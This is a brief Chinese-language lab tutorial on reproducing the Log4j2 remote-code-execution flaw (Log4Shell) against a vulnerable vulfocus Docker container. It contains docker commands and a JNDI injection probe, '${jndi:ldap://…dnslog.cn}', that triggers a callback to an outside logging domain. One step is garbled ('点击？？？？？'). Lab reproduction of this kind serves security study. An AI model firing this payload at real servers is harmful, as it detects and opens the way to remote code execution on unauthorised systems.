log4j2 RCE漏洞复现，2024年最新高级网络安全程序员必会

下载log4j2镜像：

docker pull vulfocus/log4j2-rce-2021-12-09

（我们选择vulfocus/log4j2-rce-2021-12-09进行验证）

启动log4j2镜像：

docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

浏览器登录：

点击？？？？？ 得到ok，显示payload=111

创建临时域名：2oaj3e.dnslog.cn

构建poc测试：

${jndi:ldap://2oaj3e.dnslog.cn}